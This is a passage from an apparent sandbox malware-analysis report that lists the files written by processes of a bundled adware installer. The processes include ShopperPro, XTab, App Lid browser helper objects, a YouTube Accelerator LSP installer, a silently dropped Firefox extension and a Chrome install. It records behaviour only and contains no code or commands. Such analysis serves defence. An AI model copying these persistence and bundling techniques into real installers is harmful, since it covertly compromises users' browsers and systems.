%Program Files% (x86)\Free Zip\Lang\zh-cn.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\sv.txt (13 bytes)
%Program Files% (x86)\Free Zip\7-zip.chm (3312 bytes)
%Program Files% (x86)\Free Zip\Lang\vi.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\ast.txt (10 bytes)
%Program Files% (x86)\Free Zip\descript.ion (333 bytes)
%Program Files% (x86)\Free Zip\Lang\io.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\fi.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\ext.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\sq.txt (11 bytes)

The process powershell.exe:3504 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MYZ0XW6GN1IWIF6LDUQG.temp (196 bytes)

The process powershell.exe:1968 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7VVFIG9U1NTYSG4RFJON.temp (196 bytes)

The process powershell.exe:3696 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4TC08Q4Q2RSBXR404U6X.temp (196 bytes)

The process setup.exe:3136 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\BFVUpdateM.dll (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\STab_Down_6.0.6.6.exe (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\UninstallManager.exe (59286 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\2[1].zip (45169 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\1.zip (46341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\lpd#4.3.0.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\conf (83 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\wpm_v20.0.0.1714.exe (16288 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\BaofengUpdate.exe (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\422.db (232 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\2.zip (18078 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\1[1].zip (208538 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\images\code\code4.jpg (5 bytes)

The process setup.exe:2364 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\nsExec.dll (14 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\AccDownload.dll (11359 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\jsdrv.exe (100669 bytes)
%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (35246 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\System.dll (23 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (44462 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2636.tmp (344680 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)

The process setup.exe:4376 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\am.pak (792 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\en-US.pak (479 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\sl.pak (530 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin (4 bytes)
%Program Files% (x86)\Google\Chrome\Application\35.0.1916.114\default_apps (4 bytes)
%Program Files% (x86)\Google\Chrome\Temp (4 bytes)
%Program Files% (x86)\Google\Chrome\Application\40.0.2214.94\Installer\setup.exe (22234 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\nacl_irt_x86_32.nexe (51 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\bg.pak (949 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\xinput1_3.dll (162 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\sr.pak (868 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\chrome.exe (1686 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\fi.pak (540 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ro.pak (585 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\pt-BR.pak (555 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\default_apps\external_extensions.json (5 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\VisualElementsManifest.xml (400 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\de.pak (496 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\40.0.2214.94.manifest (226 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\es.pak (586 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\zh-TW.pak (471 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ms.pak (432 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\ffmpegsumo.dll (50 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\VisualElements\smalllogo.png (21 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\bn.pak (1211 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\pt-PT.pak (568 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ca.pak (577 bytes)
%Program Files% (x86)\Google\Chrome\Application\35.0.1916.114\Locales (8 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\chrome_child.dll (32722 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\icudtl.dat (59 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ja.pak (693 bytes)
%Program Files% (x86)\Google\Chrome\Application\chrome.exe (17554 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\hr.pak (538 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\nacl_irt_x86_64.nexe (52 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\libglesv2.dll (50 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\nb.pak (521 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\hu.pak (604 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\libpeerconnection.dll (52 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\chrome.7z (270363 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\chrome_100_percent.pak (50 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\da.pak (521 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\it.pak (561 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\resources.pak (64 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\fil.pak (585 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\libexif.dll (621 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\d3dcompiler_46.dll (52 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\hi.pak (1175 bytes)
%Program Files% (x86)\Google\Chrome\Application\40.0.2214.94\Installer\chrmstp.exe (22234 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\kn.pak (1309 bytes)
C:\Windows\Temp\chrome_installer.log (7903 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\id.pak (520 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\uk.pak (897 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\VisualElements\logo.png (7 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\es-419.pak (572 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\pdf.dll (58 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\vi.pak (653 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\lt.pak (564 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\en-GB.pak (479 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\sv.pak (529 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\chrome.dll (30950 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\mr.pak (1159 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\cs.pak (572 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\he.pak (660 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\default_apps\youtube.crx (47 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\default_apps\search.crx (54 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\lv.pak (577 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ru.pak (892 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ml.pak (1503 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\default_apps\docs.crx (12 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\nl.pak (555 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\fr.pak (611 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\nacl64.exe (50 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ko.pak (580 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\delegate_execute.exe (50 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\widevinecdmadapter.dll (285 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\chrome_elf.dll (268 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\PepperFlash\manifest.json (6 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\default_apps\gmail.crx (48 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\zh-CN.pak (465 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\te.pak (1276 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\libegl.dll (423 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Extensions\external_extensions.json (103 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\tr.pak (570 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\VisualElements\splash-620x300.png (22 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\gu.pak (1137 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\wow_helper.exe (146 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (6 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (6 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ta.pak (1375 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\sk.pak (596 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\th.pak (1153 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\metro_driver.dll (1013 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\ar.pak (766 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\default_apps\drive.crx (53 bytes)
%Program Files% (x86)\Google\Chrome\Application\35.0.1916.114\VisualElements (4 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\sw.pak (481 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\secondarytile.png (641 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\pl.pak (569 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\PepperFlash\pepflashplayer.dll (63 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\et.pak (504 bytes)
%Program Files% (x86)\Google\Chrome\Application\35.0.1916.114 (8 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\chrome_200_percent.pak (50 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\fa.pak (817 bytes)
%Program Files% (x86)\Google\Chrome\Temp\source4376_14384\Chrome-bin\40.0.2214.94\Locales\el.pak (1040 bytes)

The process HPNotify.exe:4156 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\conf (1498 bytes)

The process GLJ1A92.tmp:3112 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process WerFault.exe:1724 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_YTAHelper.exe_dc1cb0a6c5fbb2d495014aa7f606d9b96363555_06b75b97\Report.wer (194476 bytes)

The process ShopperPro.exe:3932 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1486.0.0.0\config.json (770 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1486.0.0.0\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1486.0.0.0\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1486.0.0.0\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)

The process WebPlayer.exe:4672 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\bullet[1] (447 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\http_403_webOC[1] (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\httpErrorPagesScripts[1] (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\down[1] (748 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\errorPageStrings[1] (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\info_48[1] (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\background_gradient[1] (453 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\ErrorPageTemplate[1] (2 bytes)

The process STab_Down_6.0.6.6.exe:3552 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\XTab_v4.0.exe (37230 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\XTab_4.0.2.1716[1].exe (231680 bytes)

The process App Lid-codedownloader.exe:1752 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\manifest[1].xml (25 bytes)

The process ins_shopperpro.exe:3960 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1F93.tmp\setup1.exe (142075 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1F93.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1F93.tmp\setup.exe (1576265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1F93.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz1F82.tmp (150954 bytes)

The process 13BE.tmp:3768 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (303840 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\NSISEncrypt.dll (3430 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7747 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDCF7.tmp\System.dll (23 bytes)

The process regsvr32.exe:208 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (421 bytes)

The process regsvr32.exe:4016 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\App Lid\App Lid-bho64.dll (835 bytes)

The process regsvr32.exe:3856 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (503 bytes)

The process regsvr32.exe:3520 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\App Lid\App Lid-bho.dll (671 bytes)

The process lspinst.exe:2620 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process lspinst.exe:3212 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process webplayer_installer.exe:4512 makes changes in the file system.
The Application creates and/or writes to the following file(s):

